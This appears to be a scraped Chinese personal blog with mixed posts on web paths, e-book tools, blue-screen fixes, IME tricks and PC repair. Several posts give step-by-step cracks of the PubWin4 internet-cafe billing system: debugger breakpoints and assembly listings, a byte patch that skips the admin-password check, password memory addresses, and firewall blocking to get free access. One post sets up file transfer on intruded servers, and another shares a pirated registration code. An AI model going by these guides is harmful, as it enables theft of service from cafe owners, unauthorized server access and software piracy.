shoupei's profilenqxpnPhotosBlogLists Tools Help

Blog


    October 08

    谈论什么是相对路径? - Webshu 网页制作

     

    相对路径这个概念,在制作网页中极常碰到,比如超链接、连接图片、背景音乐、CSS文件、JS文件、数据库等等,都要了解相对路径的概念。为此,今天专门写篇专题,为了以后引用方便。

    什么是相对路径?相对路径就是指由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系。使用相对路径可以为我们带来非常多的便利。下面举实例详解:

    一、例如在本地硬盘有如下两文件,它们要互做超链接
    G:\site\index.htm
    G:\site\web\article\01.htm

    

    index.htm要想链接到01.htm这个文件,正确的链接应该是:<a href=web/article/01.htm>链接文字</a>,这是标准的相对路径。

    反过来,01.htm要想链接到index.htm这个文件,在01.htm文件里面应该写上这句:<a href=../../index.htm>返回首页</a>。这里的../表示向上一级。

    至此,你已经了解相对路径的概念了,就是这样简单明了。如果你还是没有看明白,以前学过DOS吗?它的“CD 文件夹名”和“CD..”命令用过吗?这是同理的。

    注意:相对路的文件夹符号是斜杠:/
    <a href=/web/article/01.htm>链接文字</a>这样的链接,在href后面的第一个斜杠表示根目录,通常我们要特别慎用这种方式。

    二、什么是绝对路径?

    在www中(广域网),以http开头的链接都是绝对路径。

    三、什么是物理路径?

    物理路径指的是某一台计算机本地的路径,以盘符开头,例如C:\、D:\temp等等。ASP的数据库连接中,只能连接物理路径,而不能连接相对路径,所以需要用server.mappath对象把相对路径转化成物理路径。

    459757270

    你发给我好吗
    wo 发给你 了459757270
    October 04

    制作电子书

    如何亲手制作电子书? 作者:未知 来源:转载 发布时间:2005-06-01 14:39:53 发布

    前言:有很多人问我怎么做电子书,我到网上查找了一下,发现这样的资料并不是很多,而且都说得很繁琐,不便于学习。于是干脆自己写一篇比较容易懂的文章,大家一起交流,好让更多人学会制作电子书:   电子书(eBook)是一种电子读物,它极大地方便了信息的传播,存储,同时也给我们的学习和工作带来了很多便利之处。比如可以把许多文摘制作成一本电子书,图文并茂,界面美观,既方便阅读又可以很好的保存。  网上有很多小说,教程或者其它一些资料都是用电子书做成的。你是不是想知道这些电子书是怎么做出来的?其实很简单,看完这篇文章后你就可以做出属于自己的电子书来。 一.预备知识:   电子书的格式有很多种,主要包括:EXE文件格式、CHM文件格式、HLP文件格式、PDF文件格式、LIT文件格式、WDL文件格式等。其中某些格式要用特定的软件才能打开和阅读,如PDF格式要用Adobe Acrobat Reader阅读,WDL格式要用华康的DynaDoc Free Reader来阅读等。但一般来说,用得最多的还是EXE格式和CHM格式,所以本文只讨论这两种格式的电子书,其它格式可以在网上查找相关资料来学习。  制作电子书的材料可以是txt文本,html网页,doc文档或者图片,flash等。  如果要做出比较精美的电子书来必须具备一定的网页制作知识和图像处理技术,当然,假如这些你都不会其实也不要紧,你同样可以亲手做出电子书来,请接着往下看: 二.制作第一本最简单的电子书:   制作电子书的软件也很多,而且制作不同格式的电子书所选择的软件也不同。  火速链接:谁是个中高手?九大电子书制作工具横评  现在我们用网文快捕来做第一本电子书:   软件名称:网文快捕(CyberArticle)   软件版本:V4.01   软件大小:5367K   授权方式:破解版  下载地址1:http://sh.arongsoft.com/yyrj/CyberArticle@4.rar   下载地址2:ftp://ftpanonymous:arongsoft@159 ... /CyberArticle@4.rar   网文快捕是一款非常优秀的国产共享软件,用它可以很方便地保存和管理网页,同时还是一个非常实用的电子书制作工具。运行CyberArticle.exe后,点击工具栏上的"文件"-"导入"-"从文件夹导入"(或按Ctrl+Alt+F),选择制作电子书材料所在的文件夹,如图:      从这里可以看到,电子书支持很多类型的文档,txt,html,flash,甚至程序源代码文件等,但我们现在只是用最基本的txt文本做材料。点击下一步可以选择需要导入哪些文件,再点下一步导入完成。      在左边的资源管理器窗口里可以看到文件列表的目录树,你可以调整一下它们的文件名和排列顺序,然后在右边的窗口里可以预览文本内容,也可以切换到"编辑"或"源码"选项对文本进行编辑。  最后,点击"文件"-"制作电子书"-"制作电子书(*.EXE格式)…"或"制作电子书(*.CHM格式)…",分别制作exe和chm格式的电子书,设置好一些选项后,点击"制作",很快地,一本电子书就做好了,简单而快速。 三.制作更精美的电子书:   上面用网文快捕做电子书虽然很方便也很快(同时可以制作出exe和chm两种格式的电子书),但是这样的电子书不是特别精美,而且功能也不强。  这时我们可以用eBook Edit Pro、eBook workshop、eBook Pack Express等专业电子书制作软件来制作更漂亮的电子书。推荐用国产的eBook workshop(e书工场):   软件名称:e书工场   软件版本:V1.4   软件大小:1785K   授权方式:注册版   下载地址:http://dl.pconline.com.cn/html/1 ... &pn=0&.html   注册码:Name:ASWord  Code:719FBF71-353B4344-B70CB1A9   用e书工场可以制作出界面非常漂亮,功能很强大的exe格式电子书来。下载安装后打开e书工场,界面如图所示:      首先将选择要制作电子书的文件目录,然后在"目录"里将需要的文件添加进来,注意一定要把文件添加到中间的列表框中来,可以直接点击"从文件夹创建"或将文件一个一个拖过去。然后可以调整它们的顺序,最上面的是电子书的首页(就是一打开电子书首先看到的那一页)。       然后可以在其它选项卡中设置"闪屏"、"界面"、"图标"、"工具栏"等,e书工场提供了非常强大的定制功能,可以打造一个很有个性的界面和功能。  最好点击"保存",将工程保存好后,点击"编译",就可以编译出exe格式的电子书了。  注:e书工场有个很大的不足之处,就是导入的文本不能自动换行,导致做出的电子书阅读极不方便。所以最好不要直接导入文本,而是应该先转换成网页,再制作。这样不仅可以避免这个问题,还能做出更好看的电子书来。 四. 更上一层楼制作更好的电子书   这部分要求你要稍微了解一点网页制作方面的知识。  其实电子书就是将很多网页打包成一个可执行文件(txt文本也可看成是最简单的一种网页形式),所以我们只要将材料先做成一些网页,然后再用e书工场等软件将其制作成电子书。  我们可以用软景HTML制造机来帮我们快速制作网页:   软件名称:软景HTML制造机  软件版本:V3.0   软件大小:1966 KB   授权方式:免费版  下载地址:http://count.skycn.com/s0ftdownl ... own/HtmlBuilder.exe   它的功能就是能将文本批量转换成网页,这些网页是带索引文件、"上一页"、"下一页"链接的HTML文件群。下载并安装软件后运行主程序,其界面如图所示:      先点击"添加",导入要转换的文本。接着选择分篇的方法(就是选择如何分割文本的问题,该问题有些复杂,请参看软件自带的帮助文件,上面说明得比较清楚)然后选一个网页模板,最后点击"开始"就可以输出网页了。(如何将文本和图片一起输入为网页亦参看软件帮助文件)   输入的许多网页中,有一个文件名为index.htm的网页是目录索引页,做电子书时可以将该页面做为"首页"。另外,你可以用Frontpage、Dreamwaver等网页制作工具对这些网页进行加工和修改。完成后即可按上面介绍的步骤来制作电子书了。   上面提到的几款软件因为是中文界面,加上操作也比较简单,就不再多介绍了。自己慢慢使用,很容易上手的。至此,我们已经学会如何制作自己的电子书了,如果还想继续学习电子书制作技术以及获取更多的电子书资源,可以登录各大电子书网站,如比较有名的几个:   书吧   http://www.book8.com/   E书时空  http://www.eshunet.com/   我爱book http://www.52ebook.com/

    August 25

    强力破除PubWin4密码

    现在的网吧,大部分都安装了pubwin4,用起来有很多限制,总之很不爽啊!!
       虽然,网上有很多工具来破掉Punwin,但是大多版本过时或者有诸多限制
    有的甚至暗藏木马,所以在下就在这里介绍一种方法,破解网吧的限制,使得
    上网更加自由,即使你是初学破解的人,或者从来没有接触过软件破解知识也可以完成,只要你一步步跟着做就可以了。当然,高手对在下的方法自然不屑一看,还望不要见笑。
       好了,现在就开始。
       首先,了解一下背景,大家有可能知道Pubwin的一些版本是采用明码比较的方式处理密码,所以在网上下载一个winhex就可以搞定,具体方法可以上网找一下,不过,现在的版本可不是简单的明码比较了。
       笔者的测试环境是(win98+Pubwin4.3.0.1),这个版本把密码进行加密并存放在内存的某个地方,所以用上面的方法就不灵了。笔者通过跟踪,发现这个版本的pubwin的处理方式只是把用户输入的密码进行加密,并且调用MSVCRT_mbscmp函数对加密后的字串和内存中的正确的密码加密字串相比较,如果相同就继续执行,否则,就跳出一个消息框,提示用户输入的密码错误。
       好了,知道了以上的知识,就可以进行破解了
       1。从网上下载TRW2000
        
    http://www.pediy.com/tools/Debugger....2X/trw1.23.zip  


     
          
          按Browse,选择Pubwin4.exe,然后load,装载pubwin4。
          出现与下图类似的界面:

     
       2。设置断点:
          输入,bpx messageboxa,回车。
       3。按Ctrl+N,返回windows,打开“管理工具”--》“系统设置”随意在输 
          入密码栏内输入几个数字,并点“确定”。
       4。TRW2000拦截断点,形如下:
          0167:BFC041B7 C20400           RET      04
          USER32!MessageBoxA
          0167:BFC041BA 55               PUSH     EBP
          0167:BFC041BB 8BEC             MOV      EBP,ESP
          0167:BFC041BD 6A00             PUSH     BYTE +00
          0167:BFC041BF FF7514           PUSH     DWORD [EBP+14]
          0167:BFC041C2 FF7510           PUSH     DWORD [EBP+10]
          0167:BFC041C5 FF750C           PUSH     DWORD [EBP+0C]
          0167:BFC041C8 FF7508           PUSH     DWORD [EBP+08]
          0167:BFC041CB E84CECFFFF       CALL     `USER32!MessageBoxExA`
          0167:BFC041D0 5D               POP      EBP
         此时,按F12键,发现返回Windows界面,点“确定”后,又返回TRW2000
         再按一次F12和F10键,来到如下地址:
         0167:0040F479 52               PUSH     EDX
         0167:0040F47A 6850154300       PUSH     DWORD 00431550
         0167:0040F47F FF1508594200     CALL     `MSVCRT!_mbscmp`
         0167:0040F485 83C408           ADD      ESP,BYTE +08
         0167:0040F488 85C0             TEST     EAX,EAX
         0167:0040F48A 7509             JNZ      0040F495
         0167:0040F48C 8BCE             MOV      ECX,ESI
         0167:0040F48E E8730C0100       CALL     `MFC42!ord_000012F5`
         0167:0040F493 EB4E             JMP      SHORT 0040F4E3
         0167:0040F495 6A30             PUSH     BYTE +30
         0167:0040F497 6810FE4200       PUSH     DWORD 0042FE10
         0167:0040F49C 68F8FD4200       PUSH     DWORD 0042FDF8
         0167:0040F4A1 8BCE             MOV      ECX,ESI
         0167:0040F4A3 E8520C0100       CALL     `MFC42!ord_00001080`
         发现地址形如:XXXX:0040XXXX,回到程序领空,点代码窗口,并向上
         翻屏,果然发现`MSVCRT!_mbscmp`函数,于是,在此处设置内存断点,
        在命令窗口输入:
        bpm 40F485 X do "r eax 00000000"
        (40F485这个地址要视,不同情况而定,即只要在MSVCRT!_mbscmp的下一句

    设置断点即可)
        分析一下,程序在CALL MSVCRT!_mbscmp这一行对加密的密码字串和用户输入的密码比较,如果相同返回0,否则返回-1(FFFFFFFF),返回值放入eax中

    所以只要把放在eax中的值改为0,那不就万事OK了。
        在设置了以上断点后,按Ctrl+N ,返回windows,打开“管理工具”--》“系统设置”随意在输入密码栏内输入几个数字,并点“确定”。返回了
    TRW2000界面,按F5键,看看,是不是出现了系统设置界面?
       至此,整个破解过程就完成了,如果你是高手当然不会放过上面的密码加密
    过程了,仔细分析以下,不难得出真正的密码,在下的这个方法只不过是“爆破法”,目的是让初学者从实例中了解破解的过程,又不乏实用性。
       在下这是第一次写软件的破解过程,选的例子也很简单,还望不要见笑,如果你对一些东西还不了解,建议你看看“看雪学院”的教程:
       
    http://www.pediy.com/tutorial/Catalog.htm
       最后,希望大家不要利用这种方法在网吧中破坏,或者“免费上网”,如果这样造成的后果自负哦!null

    GB

    轻松破解永硕网络硬盘(ys168)上传限制,不用任何插件和组合键!




    看到很多朋友还在为ys168的空间限制发愁,现在我就教大家一个办法,不用任何插件,也不用去用什么组合键关闭弹出的对话框
    如果不会的请继续往下看,已经知道的DX就跳过吧

    我是用GB的,就教大家GB的设置办法
    设置一下就好了,直接上传都不用操心,不过还是不能超过3M的
    看图吧!把最下面的“不过滤……””前面的钩去掉就可以了!图片已经很清楚了,我就没有必要详细说在哪里设置云云~

    空间共:20.0MB 已用:186.5MB 剩余:0字节




    GB下载地址:

    http://www.skycn.com/soft/12098.html

    PS:来看就记得给我评价!

    [ Last edited by jkjkgsd on 2005-5-27 at 08:32 ]


    MyIE(GreenBrowser 精简版) V4.02 Build 0525 多国语言版

    软件大小:720 KB
    软件语言:简体中文
    软件类别:国产软件 / 免费软件 / 主页浏览
    运行环境:WinXP, Win2000, NT, WinME, Win9X
    软件简介:
    一个专注于网页浏览的浏览器,在GreenBrowser基础上削减些不常用的功能,以浏览网页为主要功能,去掉一些不常用的与浏览关系不大的功能,以绿色,简洁,快速为主要目标.
    1.去掉与浏览关系不大并且占体积的功能:监测网络速度,侧边栏,收藏夹右键弹出菜单,浮动监视窗等
    2.精简搜索栏和搜索菜单.
    3.广告过滤并到选项对话框
    4.窗口菜单并到工具菜单下
    5.将一些影响浏览效率的功能缺省关闭
    6.代码优化
    7.当添加地址到收藏夹,用户可以设置特殊的小木虫下载控制选项.
    8.修正几个问题
    小木虫下载多国语言版
    小木虫下载简体中文版
    GreenBrowser V3.02 Build 0525 多国语言版

    软件大小:635 KB
    软件语言:多国语言
    软件类别:国产软件 / 免费软件 / 主页浏览
    运行环境:WinXP, Win2000, NT, WinME, Win9X
    软件简介:
      GreenBrowser 是一个多窗口浏览器,它基于 IE,并且提供了更多的特色功能。收集器、鼠标手势、鼠标拖动页面、搜索引擎、页面背景色、工具栏皮肤、代理、标签栏、快捷键、自动滚屏、自动保存、自动填表、启动模式、自动隐藏工具栏、鼠标拖放、页内链接分析、群组、状态栏显示设定、悬浮监视窗、设置收藏夹路径、特定的小木虫下载控制方案、搜索栏、扩展工具栏、运行脚本、小木虫下载管理器、页面缩放...
      该版本支持的语言有:中文简体,中文繁体, 荷兰语, 英语,法语,德语,意大利语,日语,朝鲜语,俄语,西班牙语,泰语,乌克兰语。
    当前显著特性有:
    □内嵌独立的搜索工具栏,兼具搜索、查找、高亮关键字功能,并可预设多引擎搜索群组。
    □面对网络广告泛滥的现实,提供强力的弹出窗口、页面内容过滤器,同时支持免过滤列表。
    □集成的文本、图片、窗口过滤记录、脚本收集器,可在其中直接运行脚本、储存网上资料,记录信息。
    □方便快捷的网页分类保存和管理,可预设分类,并快速收藏你所看到的,感兴趣的网页到分类目录中。
    □支持脚本插件,并首创“自动执行插件”特性,捆绑插件后即可实现:自动缩放页面、自动清除飘浮广告、自动改变页面风格等多种辅助功能。
    □独创鼠标操作新理念,左键拖曳手势+右键手势强强组合,新的鼠标事件将进一步挖掘手中鼠标的真正潜力。
    □浏览网页时可切换到“准ACDSee看图模式”,实现鼠标右键拖动网页功能,方便浏览超大网页和图片。
    □开放的状态栏显示信息定制,通过输入字串符号的格式,为用户提供了空前的定制权限。
    □安全浏览特性,保护主页不被恶意站点修改,并防止“网址欺骗”漏洞,必要时出现安全提示。
    □加强型的群组功能,可针对每个群组中的子项设置个性化的小木虫下载控制方案。
    □多网址一键通,通过一次按键,就可立即打开多个您感兴趣的网站,实现单键上网。
    ……
    以及:页面背景色、工具栏皮肤、代理、标签栏、快捷键、自动滚屏、自动保存、自动填表、启动模式、网址缩写、窗口管理器、自动隐藏工具栏、悬浮监视窗、设置收藏夹/链接栏路径、特定的小木虫下载控制方案、扩展工具栏、小木虫下载管理器、页面缩放……

    August 24

    蓝屏解决实用技巧

    Windows 2000/XP蓝屏解决实用技巧(下)

     

    2.推荐操作  

      这里显示了系统推荐用户采取的操作措施和步骤,例如在安全模式下卸载程序、回滚驱动程序、更新BIOS、安装补丁等,不过大部分情况下都需要重新启动系统后才能考虑进一步的操作。   

       3.调试端口信息  

      这里会显示应该如何设置内核调试器的信息,包括内存转储映像是否已写入磁盘、使用什么端口来完成这次调试。  

      其实,根据笔者的经验,蓝色警报中除了出错代码比较有用外,对普通用户来说,其余的大部分信息并无多少实际意义,仅供参考而已。  

      为调试系统的需要,Windows在系统出现BSOP错误后,KeBugCheck会自动生成一个名为Memory.dmp的侦错文件,该文件位于C:WindowsMinidump文件夹下,默认设置下,该文件的大小与系统物理内存容量一致,我们可以将该文件压缩后发送给微软的技术支持部门,以获取相应的解决方案,但该文件的容量是如此巨大,如何发送是一个大问题,因此很少有用户真正这样做。

      提示:打开“系统属性→高级→启动和故障恢复”窗口,如图2所示,在这里可以看到“写入调试信息”的生成方式:小内存转储、核心内存转储、完全内存转储、无,基于上面的分析的原因,建议在这里选择“无”。 

    三、处理蓝色警报三部曲

      虽然Windows 2000/XP的蓝色警报窗口显示的信息可能各有不同,或者是硬件原因,或者是驱动程序与系统兼容性方面的问题,或者索性是应用程序的某些Bug。首先当然是排除病毒的原因,然后我们可以按照如下步骤进行处理:  

      第1步:重启系统

      出现蓝色警报窗口时,我们首先应该考虑的是重新启动系统,大部分情况下重启系统后即可解决问题。不过,一般此时已无法通过“Ctrl+Alt+Del”热启动,而只能按下复位按钮冷启动,或者索性断电后重新开机。  

    进入系统时,从“控制面板→管理工具→事件查看器”,或者在“开始→运行”框中键入“eventvwr.msc”命令进入事件查看器界面,如图3所示,在这里根据日期和时间重点检查“系统”和“应用程序”中的类型标志为“错误”的事件,例如图4报告某个服务启动失败的错误。     

      第2步:恢复至最后一次正确的配置 

      Windows 2000/XP出现蓝色警报并不是无缘无故而来,NT架构的操作系统也不会乱发脾气,一般都是由于更新了设备驱动程序或者安装了某些软件而造成,有时甚至是用户自行优化系统或删除了某些重要的系统文件所导致,此时可以重启系统,并快速按下F8键,选择“最后一次正确配置”,这样会恢复注册表中HKEY_LOCAL_MACHINESystemCurrentControlSet项的有效注册表信息,但无法解决驱动程序或文件损坏而导致的错误。  

      或者,你也可以尝试按下F8键选择启动至安全模式,如果能够正常进入安全模式,那么说明可能是驱动程序或系统服务的问题。  

      第3步:查询出错代码

      记下图1窗口中的英文信息,特别是“0x0000001E”这段出错代码,然后从另外一台计算机上访问http://support.microsoft.com站点,在左上角的“搜索(知识库)”框中键入“stop ***”,这里的“***”表示出错代码,为阅读的便利,一般当然是选择“中文知识库”,不过很多时候我们恐怕只能在“英文知识库”才能找到答案,或者也可以在Google或百度上进行搜索。  

      如果以上几招还是无法解决问题,也许我们应该考虑是否属于硬件方面的问题,Windows XP可以访问http://support.microsoft.com/default.aspx?scid=kb;zh-cn;314062查看硬件兼容列表(HCL),Windows 2000用户可以访问http://winqual.microsoft.com/download/display.asp?FileName=hcl/Win2000HCL.txt查看硬件兼容列表,然后可以考虑重新插拔内存、显卡、网卡,或者用替换法尝试逐个更换,比较常见的是内存问题或电源问题,如果这一招还不行的话,恐怕就只能考虑重新安装系统或格式化硬盘了。

     

    July 07

    pub

    Pubwin4,航母级的网吧管理软件,上海市场占有率90%,中原省会郑州市场占有率100%(强制使用),在全国任何一个有网吧的地方都可以看到它的身影。网吧老板对Pubwin4的安全与便捷有佳,这可苦了我们这些劳苦大众,以前用方竹/美萍时还可以上会儿免费网,可Pubwin4还真有点作难。

    Pubwin4有三个线程分别是pubwin.exe UDP ???

                            Pubwin,exe UDP ???

                            Reclock.exe TCP ??? (如图20040307132207_1376725

    Pubwin43分钟一刷新,UDP连接协议。即使你使用一些快捷键进入了系统,也躲不过系统的3分钟刷新,与Pubwin4的“八年抗战”就此开始。

    首先,你看到的是Pubwin4的登陆界面(如图20040307131805_1376783

    我们的突破口已经出现,①用户登录-要么你刷卡/敲进帐号密码,要么你让pubwin4不用帐号就登进去,这可能吗?②系统管理-要管理员密码的,网管是你女朋友,那太好了,可我没这么好运气;③利用pubwin4自身的系统漏洞,比如有什么热键没被屏蔽(ctrl+alt+del等)

    这三个突破口中管理员密码是最诱人的,做网管还不是想怎么样就。。。

    一.管理员密码篇

    记得去年有一期《X》上一位仁兄介绍了使用winhex得到管理员密码的方法,当时给出了密码在内存中的地址,可pubwin4每升级或打一次补丁它的地址就变一次,那地址可是成千上万条,难不成我还一个一个找,胡子都白了。(没看过这篇文章的望下看也可明白)

    授之于鱼不如授之于渔!

    pubwin4打了补丁那我们就也“打补丁”吧!

    首先,找一台没有装pubwin4的机子,装上pubwin4,打上你想破解的那个网吧版本补丁。

    开始默认管理员密码为空,我们可以改为“icelark”

    然后,打开winhex-菜单栏工具-Ram编辑器-选择pubwin-双击主要内存(如图20040307132207_1376720)

    然后再查找“icelark”/“lark”,你就可以看到管理员密码所在的那一行了。(如图20040307131805_1380497)

    即在当前版本下管理员密码出现的地址为“0043CD20”

    以下是我一年多来收集的pubwin4管理员密码出现的地址

    pubwin4.2.x.x 004300D0/0043CD20

    pubwin4.3.0.x 006A4660/00654650

    我现在见到的pubwin最高版本是 pubwin4.3.0.7

    如果以后有变更,我会及时发在论坛上的。

    由于我从不对别人保密,以至于我的同学经常用管理员密码登陆,时间长了,网吧老板也怀疑网吧为什么有那么多机子处于管理员状态。有好几次都。。。

    看来什么方法有有利有弊。

    下面我要介绍的方法可是我的看家本领,同吃五湖四海,各大网吧,各大计费系统。

    二.Pubwin拦截篇

    记得网上曾流传一种方法,也可实现近似免费上网的目的,既先用帐号登陆,再用网络剪刀手切落本机与外界的联系,然后换机结帐。这种方法在pubwin早期版本或其他计费系统中还可以,大不了只玩单机游戏,但在pubwin4.3.0.0以上版本中,系统的多线程和3分钟刷新就突显其威力,

    还没玩一会儿,pubwin就把你从游戏中退出。

    那有没有即牢牢控制住系统,又不切断网络的方法呢?

    当然有,上面曾提到pubwin有3个线程分别对应3个端口,我们可以一方面封锁其端口,一方面禁止其运行。

    明白了吧!不明白?!

    用防火墙,网上的众多防火墙软件中,经过我大量实验,发现ZoneAlarm V3.7.202的稳定性和使用便捷性是最好的。ZoneAlarm可在系统中任一程序对外连接时先行拦截,也可在外界对本机发出某些指令(如pubwin关机/截图等指令)时先行拦截,如图20040307132207_1376726即为服务端发出的关机指令被拦截时,防火墙的反应。

    如图20040307131805_1378351既为本机的pubwin.exe3分钟的刷新中欲与服务端联系时,防火墙的反应(遇到上面/下面的情况,可在复选框内打勾,点“OK”)

    下面我们来具体操作。

    首先,用帐号登陆系统,下载并安装ZoneAlarm V3.7.202建议选择如图20040307132207_1376722配置

    除了ZoneAlarm,木马克星的效果也可以。如果你使用其他防火墙,当出现以下提示框时,说明这个防火墙还不适用,因为点了确定,pubwin就又要你登陆了。

    如图20040307131439_1393438

    建议使用此方法时不用管理员密码登陆,毕竟一块(五毛)并不多,好歹我们也出点电费呀:)

    三.本地密码破解篇

    本来我写到上面也就差不多了,可看了04年第2期真实朋友写的文章《本地密码的密码问题》,我感觉他介绍的方法也对pubwin适用,其实也就是管理员密码的另类破解,下面我介绍一下。

    Pubwin.exe 拷入一备分目录,打开W32Dasm,点击“反汇编”,选择备分目录中的Pubwin.exe ,等反编译结束后,点击“参考”选“字符串数据参考”找到“口令错误,请重新输入” 如图20040307131139_1398225

    双击后向上翻页来到:如图20040307130947_1398226

        其中,“85c0  test  eax , eax  7509  jne  0040f1a5 ”为密码验证语句,若密码不对则跳转,我们只须将 7509 改为 9090 即可,因为 9090 代表执行两次 NOP ,即什么都不做,密码不对也就不跳转了。

    W32Dasm关闭,运行Ultraedit32,打开Pubwin.exe ,查找“85C07509”将其替换为“85C09090”再查找下一个,再改为“85C09090”如图20040307130947_1398228    然后将其保存为 Pubwin.exe”和“pubwin.pub”即可。

    但是pubwin是在后台运行,又是多线程保护,要先终止再替换很麻烦。那就用Ultraedit32打开pubwin.exe,点击菜单中的“查找”—“替换”,在“查找内容”中填上“pubwin”,“替换为”中填上4个中文字或8个英文字母,不然会出错,替换完后保存即可。

    然后再用管理员密码登陆时,就随便填几个字母,就登入系统了,如图20040307132207_1376769

    至于做象《本地软件的密码问题》作者那样的运行即可跳过管理员密码的软件制作,大家就依葫芦画瓢参照制作,这里我就不做赘述。

    四.旁门左道篇

    “条条大路通罗马”方法是不止一种的,pubwin在我们那里一年多来,朋友们也总结除了其他的一些方法,尽管有些方法可能成功率不高或不适用于你那里的版本,但本着学习的态度我们还是了解一下。

         智能ABC漏洞 在用户登录的帐号框内切换到智能ABC输入法,输入“V”的时候按一下向上,再按一下“DELETE”键,再按一下空格就可以关闭pubwin了。或随便输入一个字母,按一下向上键,再按一下“DELETE”键,然后在按一下空格, 按几下“删除键”,也可以达到同样效果。如图20040307130947_1400584

    这种情况下,需注意不要点确定,直接拉下提示框,鼠标是点不动桌面上的图标的,需要你用热键(开始键)启动程序。如果你的热键也被屏蔽了,那只有说“下次吧!”

         在刚进入windows界面,pubwin还没有启动时,狂按“Shift+Ctrl+开始”,如果pubwin没有出现出错的提示框,如图20040307131139_1393439

    你就再多按“Caps Lock,Alt,Tab,空格”。总之,一句话,狂拍键盘左下脚,如果你幸运且又没被网管听到的话,记住,不要点确定,直接拉下提示框,慢慢玩吧!

         狂按“Ctrl+Alt+Del”如果没有见到pubwin出错,再反复“注销”几次,如果你真的命好,就会出现如例②中出现的画面。

    五.总    

    无论你采用何种方法,或方法的组合,都要记住适可而止,且都是本着学习的态度和省钱的精神,切莫没看清网管在哪里就下手了。

    [注:吾一好友就曾在网管在其身后时,公然输入管理员密码,然后被¥#¥#%☆##$@@#]

    June 26

    小技巧

    我们定制右键大多是利用注册表编辑器(Regedit)来完成的,但是对于初学者来说既陌生又危险,毕竟修改注册表可不是闹着玩的。对于一般电脑应用者,定制右键也多是添加程序用来打开一些文件,这些可以用下文方法来解决。相信下面所提供的小技巧会给大家一点启示。

      1.打开开始菜单,选择“运行…”,在框内键入“sendto”,点击“确定”。这样就打开了SendTo文件夹,其内对象对应右键快捷菜单“发送到”中的各项内容。

      2.在SendTo文件夹内添加某程序的快捷方式,这样在右键快捷菜单“发送到”中也便加入了该快捷方式。使用时只要在文件上点击右键,选择“发送到”中相应项即可。以一些人所热衷加入的记事本程序为例,方法如下:先打开了SendTo文件夹,后打开开始菜单选择程序/附件/记事本,右键将其拖拉到SendTo文件夹中,选择“在当前位置创建快捷方式”。看看吧,定制右键功能是不是也很容易呢

    我就把智能abc的一些秘籍拿来介绍给大家。

      一、这大概应是最简单的了。当你要输入“皮袄”一词的拼音“piao"时,肯定是出不来这个词的,不过要是在”pi“和”ao“之间输入一个分隔符”‘“(即单引号),情况就大不一样了,你可以试一试。

      二、不知你是不是为不停的按着Ctrl+Shift而苦恼。那让我来告诉你,你只须在中文输入状态下先输入一个”v“,然后再敲入你需要的英文就搞定了,省出按热键的工夫,可以多打不少东西,何乐而不为呢?

      三、在OICQ上聊天,你一定会为到处去找各种符号而苦恼吧?那好,现在问题解决了,你只须先输入一个“v”,然后接着输入数字1—9中的任意一个,就可得到不同符号,具体功能如下:

      输入:    得到的符号类型
      “v+1”    各种常用的和不常用的标点符号
      “v+2”    各种类型的数字
      “v+3”    常用符号
      “v+4”    日语假名
      “v+5”    注音
      “v+6”    各种语言的基本字母
      “v+7”    同上
      “v+8”    汉语拼音
      “v+9”    线形特殊符号

      四、输入中文小写的数字是件挺麻烦的事,挨个去找很浪费时间。不过,掌握了技巧,它也就没那么难了。只要先输入一个“i”,再加上数字1—9中的某个你要输入的数,这个数的中文小写就出来了,是不是很方便?

      五、如果不用什么技巧,输入中文大写肯定要比输入小写难些。不过用和上面类似的招术,输入大写也会和小写一样简单,其中唯一要变的就是把小写的“i”变成大写。

    入侵

    很多朋友利用输入法漏洞通过3389端口入侵别人的服务器时,会发现在连接对方机器后,无法像内网计算机那样可以互传文件,这在很大程度上使入侵后的攻击大打折扣,其实打上微软自家的“补丁”就可以解决这个问题。

      在此,笔者就要为大家介绍一下服务器端和客户端的配置方法,让大家能够通过3389终端服务,实现终端机器与本地机器的文件互传。

      服务器端(被攻击方)

      首先,在http://www.sixvee.com/520yy/cpcw/rdp.rar下载补丁包,其中包含rdpclip.exe、fxfr.dll、rdpdr.dll三个文件(这些文件都可在微软的rdpclip_hotfix中找到)。

      然后,将fxfr.dll文件放到“\winnt\system32\”目录下(Windows 2000 Server系统),并在“\winnt\system32\”中建立一个名为“rdpclip”的目录,将rdpclip.exe文件存放到这个目录下。打开注册表编辑器,找到

      “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd”,将其中“StartupPrograms”的“rdpclip”值改为“rdpclip\rdpclip.exe”即可。这样,服务器端的设置就算搞定了。

      客户端(攻击方)

      客户端的设置相对比较简单,将“rdpdr.dll”、“fxfr.dll”这两个文件复制到客户机(Windows 2000 Server系统)的“\program files\Terminal Services Client”目录下就完成了客户端的配置操作。

      需要注意的是,在客户端配置的过程中,系统会提示是否覆盖原本存在的老版本文件(安装了终端服务的Windows 2000 Server系统中已有这两个文件),我们只要点击“是”,进行替换即可。同时,我们不能在替换过程中使用终端服务,否则覆盖操作会失败。

      现在,我们就可使用客户端连接服务器了,就像是在网内进行计算机共享一样,可以方便、快速地执行复制、粘贴文件的操作。对于入侵者而言,就不用再通过其他途径来获取肉鸡上的文件了,此时你手中的肉鸡已可任你宰割了。

    电脑故障维修判断

    第一部分---总则
    第一章 电脑维修的基本原则和方法
    这里所述原则、方法等是第二部分分类判断的基础,需要认真遵守执行。

    §1.1 进行电脑维修应遵循的基本原则:
    一、 进行维修判断须从最简单的事情做起
    简单的事情,一方面指观察,另一方面是指简捷的环境。
    简单的事情就是观察,它包括:
    1、 电脑周围的环境情况——位置、电源、连接、其它设备、温度与湿度等;
    2、 电脑所表现的现象、显示的内容,及它们与正常情况下的异同;
    3、 电脑内部的环境情况——灰尘、连接、器件的颜色、部件的形状、指示灯的状态等;
    4、 电脑的软硬件配置——安装了何种硬件,资源的使用情况;使用的是使种xx作系统,其上又安装了何种应用软件;硬件的设置驱动程序版本等。
    简捷的环境包括:
    1、 后续将提到的最小系统;
    2、 在判断的环境中,仅包括基本的运行部件/软件,和被怀疑有故障的部件/软件;
    3、 在一个干净的系统中,添加用户的应用(硬件、软件)来进行分析判断
    从简单的事情做起,有利于精力的集中,有利于进行故障的判断与定位。一定要注意,必须通过认真的观察后,才可进行判断与维修。
    二、 根据观察到的现象,要“先想后做”
    先想后做,包括以下几个方面:
    首先是,先想好怎样做、从何处入手,再实际动手。也可以说是先分析判断,再进行维修。
    其次是,对于所观察到的现象,尽可能地先查阅相关的资料,看有无相应的技术要求、使用特点等,然后根据查阅到的资料,结合下面要谈到的内容,再着手维修。
